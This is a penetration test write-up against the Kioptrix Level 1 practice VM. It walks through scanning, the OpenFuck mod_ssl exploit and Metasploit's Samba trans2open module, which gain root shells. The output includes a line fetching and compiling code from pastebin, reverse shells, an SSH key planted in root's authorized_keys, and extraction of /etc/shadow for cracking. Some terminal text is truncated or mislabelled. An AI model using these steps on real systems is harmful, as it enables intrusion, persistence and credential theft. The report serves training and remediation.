

Penetration Test Report – Kioptrix Level 1

Author: Antony Maged Saber

Date: [8/11/2025]

Scope: Vulnerability assessment and exploitation of the Kioptrix Level 1 target machine.

Methodology: Reconnaissance → Scanning → Weaponization → Exploitation → Post-Exploitation

1. Executive Summary

The objective of this penetration test was to assess the security posture of the Kioptrix Level 1 environment by simulating real-world attacks. The target system was found to be running outdated and vulnerable services, which allowed remote code execution (RCE) through two distinct attack vectors:

1. Vulnerable HTTP Service – Exploitable via the OpenLuck Linux kernel exploit.
2. Outdated Samba Service – Vulnerable to a known buffer overflow (trans2open).

Both vulnerabilities were successfully exploited, granting full root-level compromise. Persistence mechanisms were also established to ensure continued access.

2. Methodology

2.1 First RCE – HTTP Service Exploitation

Reconnaissance

Objective: Identify target IP and live hosts.

Action: Performed a subnet ping sweep.

Result: Target host identified at 192.168.1.105.

```
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 00:0c:29:96:b3:56 brd ff:ff:ff:ff:ff:ff
   inet 192.168.1.104/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
       valid_lft 86358sec preferred_lft 86358sec
   inet6 fe80::2fb6:7826:465d:8e64/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

(kali@kali)-[~]
$ nmap -sn 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 13:00 EDT
Nmap scan report for 192.168.1.1
Host is up (0.010s latency).
MAC Address: E8:94:F6:AC:29:B9 (TP-Link Technologies)
Nmap scan report for 192.168.1.101
Host is up (0.00016s latency).
MAC Address: 38:D5:7A:B0:5A:25 (Cloud Network Technology Singapore PTE.)
Nmap scan report for 192.168.1.105
Host is up (0.00044s latency).
MAC Address: 00:0C:29:DE:95:2D (VMware)
Nmap scan report for 192.168.1.104
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.92 seconds
```

Scanning

Conducted Nmap service and version scans:

- Open Ports: [Insert actual list from scan]

- Kernel detection via nmap -O.

Identified outdated HTTP daemon vulnerable to RCE.

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.1.105
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 13:19 EDT
Nmap scan report for 192.168.1.105
Host is up (0.0020s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd (workgroup: 4MYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status       1 (RPC #100024)
MAC Address: 00:0C:29:DE:95:2D (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.53 seconds
```

Weaponization

Searched for relevant exploits using searchsploit.

Original exploit script failed due to compatibility issues.

Located a modified version on GitHub named OpenLuck.

Compiled and prepared exploit.

```
kali@kali: ~
File Actions Edit View Help
Shellcodes: No Results

(kali㉿kali)-[~]
$ searchsploit Apache 1.3.20
```

Exploit Title	Path
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution	php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner	php/remote/29316.py
Apache 1.3.20 (Win32) - 'PHP.exe' Remote File Disclosure	windows/remote/21204.txt
Apache 1.3.6/1.3.9/1.3.11/1.3.12/1.3.20 - Root Directory Access	windows/remote/19975.pl
Apache 1.3.x < 2.0.48 mod_userdir - Remote Users Disclosure	linux/remote/132.c
Apache < 1.3.37/2.0.59/2.2.3 mod_rewrite - Remote Overflow	multiple/remote/2237.sh
Apache < 2.0.64 / < 2.2.21 mod_setenvif - Integer Overflow	linux/dos/41769.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak	linux/webapps/42745.py
Apache CouchDB < 2.1.0 - Remote Code Execution	linux/webapps/44913.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service	multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow	unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)	unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)	unix/remote/47080.c
Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit)	multiple/remote/41690.rb
Apache Struts < 2.2.0 - Remote Command Execution (Metasploit)	multiple/remote/17691.rb
Apache Tika-server < 1.18 - Command Injection	windows/remote/46540.py
Apache Tomcat < 5.5.17 - Remote Directory Listing	multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal	unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)	multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1)	windows/webapps/42953.txt

Exploitation

Executed OpenLuck with target parameters.

Achieved root-level shell on the target system.

```
└─$ ./exploit 0x6b 192.168.1.105 443 -c 110

*****
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****

Connection... 110 of 110
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8068
Ready to send shellcode
Spawning shell... exploit
bash: no job control in this shell
bash-2.05$
race-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; m/raw/C7v25Xr9 -0 pt
--14:05:36-- https://pastebin.com/raw/C7v25Xr9
=> `ptrace-kmod.c'
Connecting to pastebin.com:443 ... connected!

Unable to establish SSL connection.

Unable to establish SSL connection.
/usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../../crt1.o: In function `_start':
/usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../../crt1.o(.text+0x18): undefined reference to `main'
collect2: ld returned 1 exit status
bash: ./p: No such file or directory
bash-2.05$
bash-2.05$ █
```

2.2 Second RCE – SMB Service Exploitation

Reconnaissance

Enumerated Samba service using enum4linux.

Confirmed anonymous login capability.

Determined file operations were restricted (rabbithole).

```

..
smb: \> ls
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
smb: \> pwd
Current directory is \\192.168.1.105\IPC$\
smb: \> mkdir lol
NT_STATUS_NETWORK_ACCESS_DENIED making remote directory \lol
smb: \> md
mkdir <dirname>
smb: \> md lol
NT_STATUS_NETWORK_ACCESS_DENIED making remote directory \lol
smb: \> allinfo
allinfo <file>
smb: \> put
put <filename>
smb: \> put lol
lol does not exist
smb: \> put exploit
NT_STATUS_NETWORK_ACCESS_DENIED opening remote file \exploit
smb: \>

```

Scanning

Identified outdated Samba version via msfconsole.

```

msf6 auxiliary(scanner/smb/smb_version) > set rhost 192.168.1.105
rhost => 192.168.1.105
msf6 auxiliary(scanner/smb/smb_version) > set rport 139
rport => 139
msf6 auxiliary(scanner/smb/smb_version) > exploit
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.17/lib/recog
'*' in regular expression
[*] 192.168.1.105:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.1.105 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >

```

Weaponization

Located relevant exploit module:

- exploit/linux/samba/trans2open

Prepared reverse TCP shell payload:

- payload/linux/x86/shell_reverse_tcp

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/samba/nttrans	2003-04-07	average	No	Samba 2.2.2 - 2.2.6 nttrans Buffer Over
1	exploit/freebsd/samba/trans2open	2003-04-07	great	No	Samba trans2open Overflow (*BSD x86)
2	exploit/linux/samba/trans2open	2003-04-07	great	No	Samba trans2open Overflow (Linux x86)
3	exploit/osx/samba/trans2open	2003-04-07	great	No	Samba trans2open Overflow (Mac OS X PPC)
4	exploit/solaris/samba/trans2open	2003-04-07	great	No	Samba trans2open Overflow (Solaris SPARC)
5	_ target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce
6	_ target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce

Interact with a module by name or index. For example `info 6`, use `6` or use `exploit/solaris/samba/trans2open`
After interacting with a module you can manually set a TARGET with `set TARGET 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce'`

```

msf6 auxiliary(scanner/smb/smb_version) > use 2
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) >

```

Exploitation

Configured and executed the Metasploit module.
Successfully obtained a reverse shell with root privileges.

```
msf6 exploit(linux/samba/trans2open) > set rhosts 192.168.1.105
rhosts => 192.168.1.105
msf6 exploit(linux/samba/trans2open) > exploit \
> \
Binary
Functions
No binary matches...
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] 192.168.1.105:139 - Trying return address 0xbffffdfc ...
[*] 192.168.1.105:139 - Trying return address 0xbffffcfc ...
[*] 192.168.1.105:139 - Trying return address 0xbffffbfc ...
[*] 192.168.1.105:139 - Trying return address 0xbffffafc ...
[*] 192.168.1.105:139 - Trying return address 0xbffff9fc ...
[*] 192.168.1.105:139 - Trying return address 0xbffff8fc ...
[*] 192.168.1.105:139 - Trying return address 0xbffff7fc ...
[*] 192.168.1.105:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 1 opened (192.168.1.104:4444 → 192.168.1.105:32779) at 2025-08-11 15:58:25 -0400

[*] Command shell session 2 opened (192.168.1.104:4444 → 192.168.1.105:32780) at 2025-08-11 15:58:26 -0400
[*] Command shell session 3 opened (192.168.1.104:4444 → 192.168.1.105:32781) at 2025-08-11 15:58:27 -0400
[*] Command shell session 4 opened (192.168.1.104:4444 → 192.168.1.105:32782) at 2025-08-11 15:58:29 -0400
ls
12.c
chfn-exploit.c
linpeas.sh
whoami
root
█
```

3. Post-Exploitation

Persistence: Added public SSH key to /root/.ssh/authorized_keys for future access.

Data Collection:

- Extracted /etc/passwd and /etc/shadow files.
- Prepared password hashes for offline brute-force attacks.

```
me key fingerprint is:
30:ab:5d:e0:a8:c5:d0:5c:d6:9a:87:2f:49:2f:f9:cd root@kioptrix.level1
ls
anaconda-ks.cfg
ls -la
total 13
drwxr-x--- 3 root root 1024 Aug 11 16:04 .
drwxr-xr-x 19 root root 1024 Aug 11 15:08 ..
-rw-r--r-- 1 root root 1126 Aug 23 1995 .Xresources
-rw-r--r-- 1 root root 147 Oct 12 2009 .bash_history
-rw-r--r-- 1 root root 24 Jun 10 2000 .bash_logout
-rw-r--r-- 1 root root 234 Jul 5 2001 .bash_profile
-rw-r--r-- 1 root root 176 Aug 23 1995 .bashrc
-rw-r--r-- 1 root root 210 Jun 10 2000 .cshrc
drwxr-x--- 2 root root 1024 Aug 11 16:04 .ssh
-rw-r--r-- 1 root root 196 Jul 11 2000 .tcshrc
-rw-r--r-- 1 root root 1303 Sep 26 2009 anaconda-ks.cfg
cd .ssh
ls
id_rsa
id_rsa.pub
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDL70pmp576T1ssdKIHy79w12xU4S3M+PgVDh50JHYshPeWzHw8NW0FEE0FhkDv8yaArc0E5A4VoVV/txitwXsMQAv4IRH/9op4RXVhZ0DhkhCxs+Hmuy2o2Zlp25YP45f25h8wB+
6NlQw9Hggnx8Ure+9xE10kbbDH+xpytEOb1R7VCzx0a8ZwTTM0C7Lw/BYHhEVtbX4GfDFhovP48Ah/phKxhrrFF+PhCwwQQCym4v1tfQawviK8ESegvTnMhpgZMbcuW8Z50Xi3Y1H2mh4fkRQNG2SDetxXPCKh188dMehF3QLNji/a60Q1
ywlL+SI48l951dWx968lpf87YIbhQ2IdtcmNOHku54fyphSHS8TATXXHYcospJ+bt5F+G/DKQl190qsWU1xfkDWayCm6se98EWLqiosLGu8C9nxg4fvc86Vz0v0IqDYmgRaVxLhZAJhHqZmFqLzY6jQf4jWxYLNCeDH/QwuaWmBV4KPe
OonCugcYdas/253JWjn1PanhksuwkUpd80+sJXSN0H6ICK2/zVPr9WRQ4+igDlpVkt3KE+LEF15u1j1E71gM71C04IdPoKoFCGqo/ixiuHC553xSxks+u3cSwmE/p/z2Zrg3ig3kQGUzyLFH+8AH3FKEXDLGctVYMAZ2ZpkrWRd7jrqqfomRR
o5HksbkW= kali@kali" > authorized_keys
ls
authorized_keys
id_rsa
id_rsa.pub

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47:/:/var/spool/mqueue:/dev/null
rpm:x:37:37:/:/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:./:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:./:/bin/false
ident:x:98:98:ident user:./:/sbin/nologin
radvd:x:75:75:radvd user:./:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23:./:/var/spool/squid:/dev/null
pcap:x:77:77:./:/var/arpwatch:/bin/nologin
john:x:500:500:./:/home/john:/bin/bash
harold:x:501:501:./:/home/harold:/bin/bash
```

4. Findings & Risk Rating

Vulnerability	Service	Risk Level	Impact
Outdated HTTP Daemon	HTTP	Critical	Full RCE as root
Outdated Samba (trans2open)	SMB	Critical	Full RCE as root

Overall Risk: Critical – Both vulnerabilities allow full system compromise without authentication.

5. Recommendations

- Patch & Upgrade all services, including:
 - Update HTTP daemon to the latest stable version.
 - Upgrade Samba to a secure, supported release.
- Disable Anonymous SMB Login to prevent information leakage.

3. Implement Network Segmentation to limit exposure of critical services.
4. Enable Intrusion Detection/Prevention Systems (IDS/IPS) for real-time monitoring.
5. Restrict SSH Access to trusted IP ranges and enforce key-based authentication.

6. Conclusion

This assessment demonstrated that the Kioptrix Level 1 system is critically vulnerable due to outdated and misconfigured services. Both identified vulnerabilities enabled full administrative access, bypassing all authentication controls. Immediate remediation is necessary to prevent real-world exploitation.